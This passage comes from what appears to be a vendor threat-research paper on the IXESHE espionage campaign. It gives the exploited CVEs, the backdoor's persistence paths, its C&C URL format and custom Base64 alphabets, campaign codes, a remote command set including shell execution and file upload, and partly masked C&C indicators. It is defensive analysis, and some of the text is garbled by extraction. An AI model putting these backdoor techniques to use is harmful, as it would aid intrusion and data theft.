noted that this campaign used CVE-200943247 and CVE-2011-06098 exploits when these were still +unpatched or considered zero-day vulnerabilities. +The IXESHE attackers also used an exploit that affected +Microsoft Excel +CVE-2009-3129.9 +Operations +The IXESHE malware binary allowed the attackers to +easily take over and maintain complete control of victims +systems to do the following: +List all services, processes, and drives +Terminate processes and services +Download and upload files +Start processes and services +Get victims + user names +Get a machine +s name and domain name +Download and execute arbitrary files +Cause a system to pause or sleep for a specified +number of minutes + Spawn a remote shell + List all current files and directories +http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324 +http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927 +http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0609 +http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611 +http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve2009-4324-pdf.html +8 http://contagiodump.blogspot.ca/2011/03/cve-2011-0609-adobe-flashplayer.html +9 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3129 +PAGE 2 | IXESHE +Opening the .PDF file drops and executes a malware in a +victim +s system. The malware displays a blank .PDF file or a +decoy document related to the targeted attack. The emails +normally come from compromised personal accounts or +are entirely spoofed. Emails from spoofed senders were +usually sent via mail servers in the United States and +China. +Malware Local System Effects +Once dropped onto target systems by means of a +document exploit attached to a tailored email, the malware +drops an executable file into one of the following folders: + %APPDATA%\Locations\ + %APPDATA%\Adobe + %TEMP% +The malware also sets the executable file +s attributes +Hidden. + Some of the file names the attackers used +include: +winhlps.exe +acrotry.exe +AcroRd32.exe +Updater.exe +In order for the malware to survive rebooting, it normally +creates the following registry run key: +HKEY_CURRENT_USER\Software\Microsoft\Windows\ +CurrentVersion\Run +The registry run key, in turn, points to the malware that +has been dropped. The value name of this entry varies +from sample to sample. Some of the names the attackers +used for it include: + Adobe Assistant + Migrated +Some samples, however, do not use a registry run key as +load point. Some of the more recent samples we observed +create a shortcut (i.e., .LNK file) in the Startup folder with +names such as adobe reader speed launch.lnk. +The malware also checks a system +s proxy settings for +later use in C&C communications: +HKEY_CURRENT_USER\Software\Microsoft\Windows\ +CurrentVersion\Internet Settings +ProxyEnable +ProxyServer +C&C Communications +Upon installation, the malware starts communicating +with one of its C&C servers. Most of the samples +appeared to have at least three C&C servers hard coded +for redundancy. The C&C communications are easy to +identify, as these tended to be coded in the following +predetermined format: +http://[C&C Server]/[ACD] [EW]S[Some Numbers]. +jsp?[Encrypted Base64 Blob] +Some samples alternatively use an FGKD.jsp or an FPK.jsp +file. +The Base64 blob is of particular interest. It makes use of a +custom Base64 alphabet. Once decoded, this blob reveals +a standardized structure of the information sent to the +registered C&C server, which includes the following details: +Computer name +Local IP address +Proxy server IP and port +Malware ID +To date, we have seen several custom Base64 alphabets, +including: + +NO5RZaGHviIjhYq8b4ndQ=p012ySTcCDrs/xPgUz67F +M3wemKfkJLBo9VtWXlEuA + HZa4vjIiGndQ=p012y+NO5RST/xPgUz67FMhYq8b3we +mKfkJLBocCDrs9VtWXlEu + j4vpGZaHnIdQ=i012y+N/zPgUO5RSTx67FMhYb8q3we +mKckJLBofCDrs9VtWXlEu + p12kJLBofCDrs9VtWXlEuainyj4vd+=H0GZIQNO5RST/ +zPgUx67FMhYb8q3wemKc + aZHGviIj4ndQ=p012y+NO5RST/xPgUz67FMhYq8b3we +mKfkJLBocCDrs9VtWXlEu + ZvQIajHi4ndG=p012y+NO5RST/xPgUz67FMhYq8b3we +mKfkJLBocCDrs9VtWXlEu + ZaGHviIj4ndQ=p012y+NO5RST/xPgUz67FMhYq8b3we +mKfkJLBocCDrs9VtWXlEu + 4HIvZGjaiQdn=p012y+NO5RST/xPgUz67FMhYq8b3we +mKfkJLBocCDrs9VtWXlEu + pGIaHnZj0vdQ=i421y+NO5RSY/zMgUx67KPhTb8q3we +mFckBLJufWErs9VtCXlDo + QpaZIivj4ndG=H021y+NO5RST/xPgUz67FMhYq8b3we +mKfkJLBocCDrs9VtWXlEu + pGZaHnIj4vdQ=i012y+NO5RST/zPgUx67FMhYb8q3we +mKckJLBofCDrs9VtWXlEu +Some similarities exist across different versions of the +Base64 alphabet, which indicates that these are most +likely not completely randomly generated. Instead, the +attackers manually cut and pasted older versions after +altering some parts. +The malware ID seems to be a campaign code with a +different IP address for each attack. Some of the campaign +codes we have seen include: +[0222] +[0713] +[0802] +[CR1008] +[CR1031] +[CZ0312] +[CZ0913] +[CZ0921] +[LY]MAIL_20090923 +[LY]MAIL_20091015 +[LY]MAIL_20091208 +[LY0406] +[LY0420] +[LY0816] +[LY1207] +[TL1109] +[WH0827] +[WH1122] +[WL1013] +[WZ1011] +CRML_0505 +CRML_MIL +Firebox4 +JUST_0525 +JUST_JP_6080 +KA_1016 +KS_0602 +KSX_0520 +LY_ML0430_30m +ly0610 +MAIL_20091208 +MAIL_JAP_0220 +MAIL_JAP_0304 +MAIL_JAP_0325 +MAIL_JAP_0407 +MAIL0524 +manufact +ML_20091223 +ML0419._30m +ML0623.LINK_10m +ML0628 +ML_20091216 +ML_20091223 +MW0629 +OM222 +sandbox +sandbox4 +sandbox6 +success +UNKNOWN +wl0711 +ZWJP_KS_1222 +It appears that the numbers in the given campaign codes +refer to dates when the campaigns were launched in +MMDD + format. The letters are possibly related to the +target industry or company. +PAGE 3 | IXESHE +If the malware does not get a response from the C&C +server, it will choose another random number after the +AWS part of the URL and try again. +Once connected, the malware specifically waits for the +remote server to issue the following commands, which +may vary from one version to another: + del [parameter]: Allows a remote user to delete files. + disk [parameter]: Lists all available drives. + dos [parameter]: Allows a remote user to execute +commands via cmd.exe. + get [parameter]: Allows a remote user to download a +file from the remote server onto a local machine. + list [parameter]: Lists files on the victim +s machine. + ls [parameter]: Allows a remote user to display the +contents of a directory. + kill [parameter]: Allows a remote user to terminate +processes. + put [parameter]: Allows a remote user to upload a file +from a local machine to a remote server. + rsh [parameter]: Similar to the sh or dos [parameter] +except for the fact that this is an already-existing file +or shell. + run [parameter]: Allows a remote user to execute +programs. + sh [parameter]: Allows a remote user to execute +commands via cmd.exe. + sleep [parameter]: Causes a system to sleep for a +certain amount of time. +PAGE 4 | IXESHE +Related AES Campaign +We have also been tracking another campaign, which +we refer to as the +AES campaign, + which appears to be +related to IXESHE. The main body of the malware related +to the IXESHE campaign can be identified by its connection +to a C&C server using a file such as AWS12345.jsp and a +custom Base64 blob; the malware associated with the +AES campaign operates very similarly. The samples used +in the AES campaign slightly differed in terms of C&C +communication but had significant similarities with IXESHE +malware, which used the format: +http://[C&C Server]/[ACD] ES[Some Numbers].jsp +Even though the network traffic format of the AES +campaign was slightly similar, instead of the more familiar +AWS[random].jsp format, it used several other formats for +certain commands or events such as: + AES: Initial beacon. + DES: Send the path of %systemdir%. + PES: Send the result of the + command. + SEU: Send the +error + or +invalid + command. + SUS: Send the system name, which is not encoded, +upon receiving the +exit + command. + ZES: Send the result of the + command. +Another difference in the traffic is that AWS uses the POST +method with the format, +http://[C&C Server]/FPK [Some +Numbers].jsp?[Base64 Blob], + when the + command is +invoked. The Base64 blob contains the file specified in the + command. +Analysis of the binaries also revealed similarities between +the AES and AWS samples. These included the encoding +algorithm and commands used. Even though some +commands varied, the format and parameters used +essentially remained the same. +C&C INFRASTRUCTURE +The majority of the IXESHE campaign +s C&C servers were based in Taiwan and the United States. +Figure 1. Breakdown of C&C servers by country +PAGE 5 | IXESHE +This is, however, not an indicator of attribution. It is not +possible to determine where the attackers are based solely +on where their C&C infrastructures are located. In addition, +not all of the C&C servers are currently active. Many, if +not all of them, appear to be compromised machines. In +fact, at least 11 of the C&C servers were hosted on the +compromised machines of an East Asian government, +which made these very useful for launching targeted +attacks against it. +Most of the malware samples directly accessed an IP +address as a C&C server. Connections to domains did +exist in some cases. The domains were usually registered +using free dynamic DNS service providers or compromised +websites. +Overall, this strategy was part of the attackers + modus +operandi. By choosing compromised machines to act as +C&C servers, fewer clues were left for investigators to +follow in an attempt to find out who is behind the attacks +compared with those using bulletproof hosting services +and registered domain names. To conduct research on +these servers, investigators need to differentiate between +information related to malicious and legitimate use. +This indicated that the front-end servers actually +functioned as proxy servers and that the true C&C servers +were hidden behind this initial group of C&C servers. +This made the network more resistant to takedown and +analysis. Due to a server error, however, the attackers +revealed the location of one of their back-end servers. We +discovered that the IP address, xx.xx.x2.202, is located in +Guangdong, China. +The particular error returned looked very similar to errors +generated by a tool called +HTran. +10 HTran stands for +HUC Packet Transmit Tool, + a connection bouncer that +redirects TCP traffic destined for one host to an alternate +host, keeping the real host hidden from view. +HUC, +this case, stands for the hacking group, +Honker Union +of China. + It was coded by a hacker who goes by the +handle +lion. + This tool +s error-checking code, however, is +flawed. Assuming that everything properly works, the tool +functions very well as a proxy server but if the real server +is currently inaccessible, HTran will send an error message, +revealing its whereabouts. +Running a port scan on this server revealed some open +ports shown in the table below. +Real C&C Location +One very interesting error revealed more insights into +the C&C network +s setup. One of the malware samples we +tested was designed to access xxx.xxawan.com via port +443, which, at that time, resolved to xx.xxx.114.87:443, a +server located in the United States. The sample, however, +received the following error message from the server: +[SERVER]connection to xx.xx.x2.202:56413 error +Port +State +Service +80/tcp +Open +HTTP +8080/tcp +Open +HTTP Alternative +Based on OS fingerprinting, the server appears to be +running Windows 7 Enterprise Server. With only a few +open ports, however, it was very difficult to confirm this. In +addition, we did not receive a response when we tried to +connect to these ports. +10 http://www.secureworks.com/research/threats/htran/ +PAGE 6 | IXESHE +ATTRIBUTION AND UNIQUE +FINGERPRINTS +Previous research on the IXESHE campaign indicated +several connections to groups possibly from China. In +addition, the IP address hiding behind the HTran instance +was an IP range assigned to China. +Upon further investigation of the +manufact + campaign, +however, it appears that the gang behind it may be English +speakers. The name of the campaign, for one, is most likely +a shortened form of +manufacturing. + The OS the C&C +server uses is also an English install of Microsoft XP. It is +also likely, of course, that the C&C server is a compromised +machine so it does not use the attackers + first language. +The malware samples, which appear to have been +developed using C++, had a number of strings and error +codes in English such as +Enter command + and +Receive +command error! +The date format used in the campaign codes (i.e., MMDD) +also provided us a clue as to where the attackers may be +from. This date format is only commonly used in China, +Korea, Iran, Japan, Hungary, Lithuania, and the United +States. +Unique Fingerprints and Modus Operandi +An attack can be considered associated with the gang +behind the IXESHE campaign if it exhibits the following +characteristics: + Uses a specially crafted targeted email with a +malicious file attachment + Uses document exploits, primarily .PDF files, to drop +malware into target systems + Uses malware detected by security vendors as IXESHE +variants + Uses a malware that sends a GET request to the C&C +server in the following format: +http://[C&C Server]/[ACD] [EW]S[Some +Numbers].jsp?[Encrypted Base64 Blob] + Uses dynamic DNS services for or compromised +machines as C&C servers +Based on the limited amount of information we gathered +about the attackers, it was very difficult to pinpoint their +exact location. +PAGE 7 | IXESHE +RELATIONSHIPS BETWEEN ATTACK COMPONENTS +Figure 2. IXESHE targeted campaign #1 +Figure 3. IXESHE targeted campaign #2 +PAGE 8 | IXESHE +Figure 4. IXESHE targeted campaign #3 +PAGE 9 | IXESHE +Figure 5. IXESHE targeted campaign #4 +PAGE 10 | IXESHE +PAGE 11 | IXESHE +Figure 6. IXESHE targeted campaign #5 +TIMELINE +This section lists known incidents exhibiting the same +threat actor behaviors and so may be from the same +group behind IXESHE dating to as far back as July +2009. With the exception of the samples described in +ContagioDump, the dates for other samples refer to when +the respective sandboxes saw them for the first time. As +such, these dates should be considered +at least by + and +not the actual date of the attack. + 6 May 2010 + PDF name/Subject hook: + MD5: d80eb21cfe8ad1a710c8652b13f8b7ac + C&C: xxx.xx9.124.13 + Info: http://contagiodump.blogspot.com/2010/05/ +may-6-cve-2010-0188-pdf-birthday.html + Campaign code: LY_ML0430_30m + 15 October 2009 + PDF name/Subject hook: + MD5: 16a9f340c0d353332ba6f525376c93e1 + C&C: xxxxxupsenter.byinter.net + Info: http://contagiodump.blogspot.com/2009/12/ +oct-15-2009-attack-of-day-development.html + Campaign code: [LY]MAIL_20091015 + 10 May 2010 + XLS name/Subject hook: 99 + MD5: d4b98bda9c3ae0810a61f95863f4f81e + C&C: xxxxx.compreautos.com.br + Info: http://contagiodump.blogspot.com/2010/06/ +may-10-cve-2009-3129-xls-schedule-of.html + Campaign code: CRML_0505 + 18 December 2009 + PDF name/Subject hook: + MD5: 8950bbedf4a7f1d518e859f9800f9347 + C&C: xxxxxfo.athersite.com + Info: http://contagiodump.blogspot.com/2009/12/ +dec-18-adobe-0-day-cve-2009-4324-pdf.html + Campaign code: ML_20091216 + 28 December 2009 + PDF name/Subject hook: Consumer Welfare Table + MD5: c61c231d93d3bd690dd04b6de7350abb + C&C: xxx.xx6.148.42 or xxx.xx6.202.49 + Info: http://contagiodump.blogspot.com/2009/12/ +dec-29-cve-2009-4324-adobe-0-day.html + Campaign code: ML_20091223 + 26 April 2010 + PDF name/Subject hook: [ + MD5: 58de08c1155a775b760049dff3f5abe4 + C&C: xxx.x.x5.26 + Info: http://contagiodump.blogspot.com/2010/04/ +apr-26-cve-2009-4324-w-low-detection.html + Campaign code: ML0419._30m +PAGE 12 | IXESHE + 8 June 2010 + XLS name/Subject hook: + MD5: 100cf902ac31766f7d8a521eeb6f8d68 + C&C: xxx.xx.187.130 + Info: http://contagiodump.blogspot.com/2010/06/ +jun-8-cve-2009-4324-korean-peninsula.html + Campaign code: MAIL0524 + 27 June 2010 + PDF name/Subject hook: Discussion on CrossStrait Maritime Cooperation + MD5: 6e14c7a424c2eef7f37810ff65650837 + C&C: xxx.xx.128.71 + Info: http://contagiodump.blogspot.com/2010/07/ +jun-27-cve-2009-0927-pdf-discussion-on.html + Campaign code: ML0628 + 1 July 2010 + PDF name/Subject hook: + MD5: 949265ee1d3e587152a23311a85b3be9 + C&C: xxx.xx.128.71 + Info: http://contagiodump.blogspot.com/2010/07/ +jul-01-cve-2009-4324-results-of-press.html + Campaign code: ML0628 + 28 July 2010 + PDF name/Subject hook: Summary of Network +Intelligence + MD5: 738af108a6edd46536492b1782589a04 + C&C: xxx.xx6.54.189 + Info: http://contagiodump.blogspot.com/2010/08/ +jul-28-cve-2009-4324-pdf-990729-romance.html + Campaign code: [0713] + 16 August 2010 + PDF name/Subject hook: Communist China +Removes Missiles + MD5: 6227e1594775773a182e1b631db5f6bb + C&C: xxxxxck.dnsrd.com or xxx.xx6.34.94 (appears +to be a compromised computer of an East Asian +university) + Info: http://contagiodump.blogspot.com/2010/08/ +cve-2009-4324-cve-2010-1297-communist.html + Campaign code: [0802] + 17 August 2010 + PDF name/Subject hook: [Unknown] + MD5: 36ee61663fc41496642850c4293fed01 + C&C: xxxxxck.dnsrd.com or xxx.xx6.34.94 (appears +to be a compromised computer of an East Asian +university) + Info: http://www.threatexpert.com/report.aspx?md +5=36ee61663fc41496642850c4293fed01 + Campaign code: [0802] + 27 September 2010 + PDF name/Subject hook: [Unknown] + MD5: 313158192d4442013f7bedeb9def01ec + C&C: xx.xx.x3.102 + Info: http://www.threatexpert.com/report.aspx?md +5=313158192d4442013f7bedeb9def01ec + Campaign code: [WH0827] + 22 February 2011 + PDF name/Subject hook: [Unknown] + MD5: cd0eb6634ea684313389ddce553a6130 + C&C: xxx.xx.228.58 + Info: http://xml.ssdsandbox.net/view/ +cd0eb6634ea684313389ddce553a6130 + Campaign code: [0222] + 17 March 2011 + XLS name/Subject hook: Japan Nuclear Radiation +Leakage and Vulnerability Analysis + MD5: 7ca4ab177f480503653702b33366111f + C&C: xx.xxx.114.44 + Info: http://contagiodump.blogspot.com/2011/03/ +cve-2011-0609-adobe-flash-player.html + Campaign code: OM222 + 10 April 2011 + PDF name/Subject hook: [Unknown] + MD5: 711542d883f8fca4aeac62ee1b7df6ca + C&C: xx.xx.x0.244 + Info: http://www.threatexpert.com/report.aspx?md +5=711542d883f8fca4aeac62ee1b7df6ca + Campaign code: [LY0406] + 20 April 2011 + PDF name/Subject hook: China +s Charm +Diplomacy in BRICS Summit + MD5: ae39b747e4fe72dce6e5cdc6d0314c02 + C&C: xx.xx.x9.165 + Info: http://contagiodump.blogspot.com/2011/04/ +apr-20-cve-2011-0611-pdf-swf-chinas.html + Campaign code: [Removed due to privacy +concerns] + 20 April 2011 + PDF name/Subject hook: The Obama +Administration and the Middle East + MD5: 2368a8f55ee78d844896f05f94866b07 + C&C: xx.xx.x9.165 + Info: http://contagiodump.blogspot.com/2011/04/ +apr-20-cve-2011-0611-pdf-swf-chinas.html + Campaign code: {Removed due to privacy +concerns] + 20 April 2011 + PDF name/Subject hook: Russia +s profit from +general NATO disunity + MD5: 4065b98fdcb17a081759061306239c8b + C&C: xx.xx.x9.165 + Info: http://contagiodump.blogspot.com/2011/04/ +apr-20-cve-2011-0611-pdf-swf-chinas.html + Campaign code: [Removed due to privacy +concerns] + 22 April 2011 + PDF name/Subject hook: Marshall Plan for the +North Africa + MD5: 6d5fb801b890bfa7cc737c018e87e456 + C&C: xx.xx.x9.165 + Info: http://contagiodump.blogspot.com/2011/04/ +apr-22-cve-2011-0611-pdf-swf-marshall.html + Campaign code: [Removed due to privacy +concerns] +PAGE 13 | IXESHE + 28 April 2011 + PDF name/Subject hook: [Unknown] + MD5: 14bf72167b4e801da205ecf9c0c55f9b + C&C: xx.xx.x33.2 + Info: http://xml.ssdsandbox.net/view/14bf72167b4e +801da205ecf9c0c55f9b + Campaign code: [LY0420] + 1 June 2011 + PDF name/Subject hook: [Unknown] + MD5: 6ee4e08e6ab51208757fdc41d0e72846 + C&C: xxxxxain.qpoe.com + Info: http://www.threatexpert.com/report.aspx?md +5=6ee4e08e6ab51208757fdc41d0e72846 + Campaign code: [LY]MAIL_20090923 + 9 June 2011 + PDF name/Subject hook: [Unknown] + MD5: 10f193f825ada183fcfd067434ca269e + C&C: xxxxxfo.AtHerSite.com + Info: http://www.threatexpert.com/report.aspx?md +5=10f193f825ada183fcfd067434ca269e + Campaign code: [LY]MAIL_20091208 + 21 September 2011 + PDF name/Subject hook: [Unknown] + MD5: 32522cdc17a145486e26f35bdd524e7e + C&C: xxx.xx0.139.67 + Info: http://www.threatexpert.com/report.aspx?md +5=32522cdc17a145486e26f35bdd524e7e + Campaign code: [LY0816] + 12 October 2011 + PDF name/Subject hook: [Unknown] + MD5: 8718ab5c1683a69c4e6092fdcb32cfa2 + C&C: xxx.xx0.63.1 + Info: http://www.malware-control.com/statics-page +s/8718ab5c1683a69c4e6092fdcb32cfa2.php + Campaign code: [CZ0921] + 19 October 2011 + PDF name/Subject hook: [Unknown] + MD5: 80dad66d6224d18babd9ada4a26aee75 + C&C: xx.xxx.21.41 or king.pirat3.com + Info: http://xml.ssdsandbox.net/view/80dad66d62 +24d18babd9ada4a26aee75 + Campaign code: [WZ1011] +PAGE 14 | IXESHE + 26 October 2011 + PDF name/Subject hook: The Future Redefined +2011 AOEC CEO Summit + MD5: 3d91d9df315ffeb9bb1c774452b3114b + C&C: xxx.xxawan.com or xxx.xx4.230.120 + Info: http://www.kahusecurity.com/2011/apecspearphish-2/ + Campaign code: 19 + 3 November 2011 + PDF name/Subject hook: [Unknown] + MD5: E25DBA0556124D7874D8416DE291CFE2 + C&C: xxxxxfo.sdti.tw or xxx.xx2.246.110 + Info: http://www.threatexpert.com/report.aspx?md +5=e25dba0556124d7874d8416de291cfe2 + Campaign code: [CR1031] + 15 November 2011 + PDF name/Subject hook: [Unknown] + MD5: 829b78f1d1e74c2c5343a0aebb51f519 + C&C: xxxxxaga.chickenkiller.com + Info: http://www.threatexpert.com/report.aspx?md +5=829b78f1d1e74c2c5343a0aebb51f519 + Campaign code: [TL1109] + 22 November 2011 + PDF name/Subject hook: [Unknown] + MD5: c4a05230a898d91b30c88d52b3f069b3 + C&C: xxx.xx6.54.150 or xxxxx.ItemDB.com + Info: http://www.threatexpert.com/report.aspx?md +5=c4a05230a898d91b30c88d52b3f069b3 + Campaign code: [WH1122] +CONCLUSION +DEFENDING AGAINST APTS +The IXESHE campaign has been successfully executing +targeted attacks since 2009. The attackers primarily +use malicious .PDF files that exploit vulnerabilities in +Adobe Reader, Acrobat, and Flash Player, including the +use of two zero-day exploits +one in 2009 and another +in 2011. While the attackers primarily targeted East +Asian governments in the past, they have also started +targeting a telecommunications company and electronics +manufacturers. They kept track of their targeted attacks +by embedding a +campaign tag + in the malware that +appears to describe when each attack was launched and, +in some cases, the nature of its target. We found more +than 40 of these campaign tags. +Sufficiently motivated threat actors can penetrate +even networks that use moderately advanced security +measures. As such, apart from standard and relevant +attack prevention measures and mechanisms such as +solid patch management; endpoint and network security; +firewall use; and the like, enterprises should also focus +on detecting and mitigating attacks. Moreover, data +loss prevention (DLP) strategies that identify the data +an organization is protecting and take into account the +context of data use should be employed. +The IXESHE attackers are notable for their use of +compromised machines within a target +s internal network +as C&C servers. This helped disguise their activities. In +addition, the attackers + use of the proxy tool, HTran, also +helped mask their true location. While their identities +remain unknown, the attackers behind the IXESHE +campaign demonstrated that they were both determined +and capable. While the malware used in the attacks +were not very complicated by nature, these proved very +effective. This campaign remains an active threat. +Threat intelligence refers to indicators that can be used +to identify the tools, tactics, and procedures threat actors +engaging in targeted attacks utilize. Both external and +local threat intelligence is crucial for developing the +ability to detect attacks early. The following are the core +components of this defense strategy: +Local and External Threat Intelligence + Enhanced visibility: Logs from endpoint, server, +and network monitoring are an important and often +underused resource that can be aggregated to provide +a view of the activities within an organization that +can be processed for anomalous behaviors that can +indicate a targeted attack. + Integrity checks: In order to maintain persistence, +malware will make modifications to the file system and +registry. Monitoring such changes can indicate the +presence of malware. + Empowering the human analyst: Humans are best +positioned to identify anomalous behaviors when +presented with a view of aggregated logs from across +a network. This information is used in conjunction with +custom alerts based on the local and external threat +intelligence available. +Technologies available today such as Deep Discovery +provide visibility, insight, and control over networks to +defend against targeted threats.11 Deep Discovery uniquely +detects and identifies evasive threats in real time and +provides in-depth analysis and actionable intelligence to +prevent, discover, and reduce risks. +11 http://www.trendmicro.com/us/enterprise/security-risk-management/ +deep-discovery/index.html +PAGE 15 | IXESHE +Mitigation and Cleanup Strategy +Data-Centric Protection Strategy +Once an attack is identified, the cleanup strategy should +focus on the following objectives: +The ultimate objective of targeted attacks is to acquire +sensitive data. As such, DLP strategies that focus on +identifying and protecting confidential information are +critical. Enhanced data protection and visibility across +an enterprise provides the ability to control access to +sensitive data as well as monitor and log successful and +unsuccessful attempts to access it. Enhanced access +control and logging capabilities allow security analysts to +locate and investigate anomalies, respond to incidents, and +initiate remediation strategies and damage assessment. + Determine the attack vector and cut off +communications with the C&C server. + Determine the scope of the compromise. + Assess the damage by analyzing the data and forensic +artifacts available on compromised machines. +Remediation should be applied soon afterward, which +includes steps to fortify affected servers, machines, or +devices into secure states, informed in part by how the +compromised machines were infiltrated. +Educating Employees Against Social +Engineering +Security-related policies and procedures combined with +education and training programs are essential components +of defense. Traditional training methods can be fortified +by simulations and exercises using real spear-phishing +attempts sent to test employees. Employees trained to +expect targeted attacks are better positioned to report +potential threats and constitute an important source of +threat intelligence. +PAGE 16 | IXESHE +TREND MICRO THREAT PROTECTION AGAINST IXESHE CAMPAIGN +COMPONENTS +The following table summarizes the Trend Micro solutions for the components of the IXESHE campaign. Trend Micro +recommends a comprehensive security risk management strategy that goes further than advanced protection to meet +the real-time threat management requirements of dealing with targeted attacks. +Attack Component +Protection Technology +Trend Micro Solution +Predetermined C&C communication +format: +http://[C&C Server]/ +[ACD] [EW]S[Some Numbers]. +jsp?[Encrypted Base64 Blob] +Web Reputation +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, +InterScan Messaging Security) +Mobile (Mobile Security) +TROJ_PIDIEF, BKDR_PROXY, TROJ_ +DROPR, and TROJ_DEMTRANC variants +File Reputation +(Antivirus/Anti-malware) +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, +InterScan Messaging Security) +Mobile (Mobile Security) +CVE-2009-4324 +CVE-2009-0927 +CVE-2011-0609 +CVE-2011-0611 +CVE-2009-3129 +Vulnerability Shielding/Virtual Patching +Server (Deep Security) +Endpoint (OfficeScan with Intrusion +Defense Firewall Plug-In) +For CVE-2009-4324: + Rule #1004008 (Adobe Reader and +Acrobat +newplayer() + JavaScript +Method Code Execution) +For CVE-2009-0927: + Rule # 1003405 (Adobe Acrobat +JavaScript getIcon Method Buffer +Overflow) +For CVE-2011-0609: + Rule #1004615 (Adobe Flash Player +XLS Remote Code Execution) +For CVE-2011-0611: + Rule # 1004647 (Restrict Microsoft +Office File with Embedded SWF) +For CVE-2009-3129: + Rule #1003817 (Excel Featheader +Record Memory Corruption +Vulnerability) +PAGE 17 | IXESHE +Attack Component +xxx.x.x87.206 +xxx.xx2.36.5 +xxx.xx6.129.228 +xxx.xx0.139.67 +xxx.xx.39.184 +xx.xxx.12.18 +xxx.xxrver.us +xxx.xxt-alice.de +xxxxxbaby.mooo.com +xxxxxlic.yahoobigdeals.com +xx.xx.x1.252 +xxx.xx.228.58 +xxx.xx.183.86 +xxx.xx.128.71 +xxx.xx.13.148 +xxx.xx5.243.44 +xxx.xx2.216.5 +xxx.xx.151.190 +xxx.xx.63.113 +xxx.xx.58.110 +xxx.xx.111.151 +xxx.xx6.54.150 +xxx.xx4.230.120 +xxx.xx0.139.67 +xxx.xx2.246.110 +xx.xxx.223.3 +xx.xx.x3.102 +xx.xx.x9.165 +xx.xx.x0.244 +xx.xx.x33.2 +xxxxxa.2waky.com +xxx.xxawan.com +xxxxxmic.dyndns-wiki.com +xxxxxain.qpoe.com +xxx.xxrver.us +xxxxxfo.AtHerSite.com +xxxxxem.passingg.as +xxx.xxset.com +xxxxx.dnset.com +xxxx.xirat3.com +xxxxxaga.chickenkiller.com +xxxxx.otzo.com +xxxxxck.dnsrd.com +xxxxx.portrelay.com +xxxxx.FindHere.org +PAGE 18 | IXESHE +Protection Technology +Web, Domain, and IP Reputation +Trend Micro Solution +Endpoint (Titanium, Worry-Free Business +Security, OfficeScan) +Server (Deep Security) +Messaging (InterScan Messaging Security, +ScanMail Suite for Microsoft Exchange) +Network (Deep Discovery) +Gateway (InterScan Web Security, +InterScan Messaging Security) +Mobile (Mobile Security) +May 2012 | APT Campaign Quick Profile: IXESHE +Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific +targets to maintain persistent presence within the victim +s network so they can move laterally and exfiltrate data. +Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because +of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card +and banking information to gain profit, APTs are better thought of as cyber espionage. +IXESHE + First Seen +Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target +s network. +The IXESHE campaign has been actively staging targeted attacks since at least July of 2009. + Victims and Targets +APT campaigns target specific industries or communities of interest in specific regions. +IXESHE has been found to target electronics manufacturers, a telecommunications company, and East Asian governments. + Operations +First-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. +IXESHE attacks used custom-fit targeted emails with PDF exploits for CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, and CVE-2011-0611. These +were used to drop malicious executable files that gave the attackers complete control of their targets + systems. +The attackers used either dynamic Domain Name System (DNS) or compromised servers hosted on networks that they previously successfully +infiltrated. + Possible Indicators of Compromise +Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. + Enters networks via a specially crafted, targeted email with a malicious file attachment + Uses document exploits (primarily PDF exploits) to drop malware onto target systems + Uses malware detected as IXESHE by security companies + Sends a GET request to the command-and-control (C&C) server with the format: +http://[C&C Server]/[ACD] [EW]S[Some Numbers].jsp?[Encrypted Base64 Blob] +* The campaign codes we have seen so far are detailed in the Trend Micro research paper, +IXESHE: An APT Campaign. + The characteristics +highlighted in this APT campaign quick profile reflect the results of our investigation as of May 2012. +May 2012 | APT Campaign Quick Profile: IXESHE +Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific +targets to maintain persistent presence within the victim +s network so they can move laterally and exfiltrate data. +Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because +of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card +and banking information to gain profit, APTs are better thought of as cyber espionage. +IXESHE + First Seen +Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target +s network. +The IXESHE campaign has been actively staging targeted attacks since at least July of 2009. + Victims and Targets +APT campaigns target specific industries or communities of interest in specific regions. +IXESHE has been found to target electronics manufacturers, a German telecommunications company, and East Asian governments. + Operations +First-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. +IXESHE attacks used custom-fit targeted emails with PDF exploits for CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, and CVE-2011-0611. These +were used to drop malicious executable files that gave the attackers complete control of their targets + systems. +The attackers used either dynamic Domain Name System (DNS) or compromised servers hosted on networks that they previously successfully +infiltrated. + Possible Indicators of Compromise +Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. + Enters networks via a specially crafted, targeted email with a malicious file attachment + Uses document exploits (primarily PDF exploits) to drop malware onto target systems + Uses malware detected as IXESHE by security companies + Sends a GET request to the command-and-control (C&C) server with the format: +http://[C&C Server]/[ACD] [EW]S[Some Numbers].jsp?[Encrypted Base64 Blob] +* The campaign codes we have seen so far are detailed in the Trend Micro research paper, +IXESHE: An APT Campaign. + The characteristics +highlighted in this APT campaign quick profile reflect the results of our investigation as of May 2012. +TREND MICRO +TREND MICRO INC. +Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security +leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses +and consumers. A pioneer in server security with over +20 years + experience, we deliver top-ranked client, server and 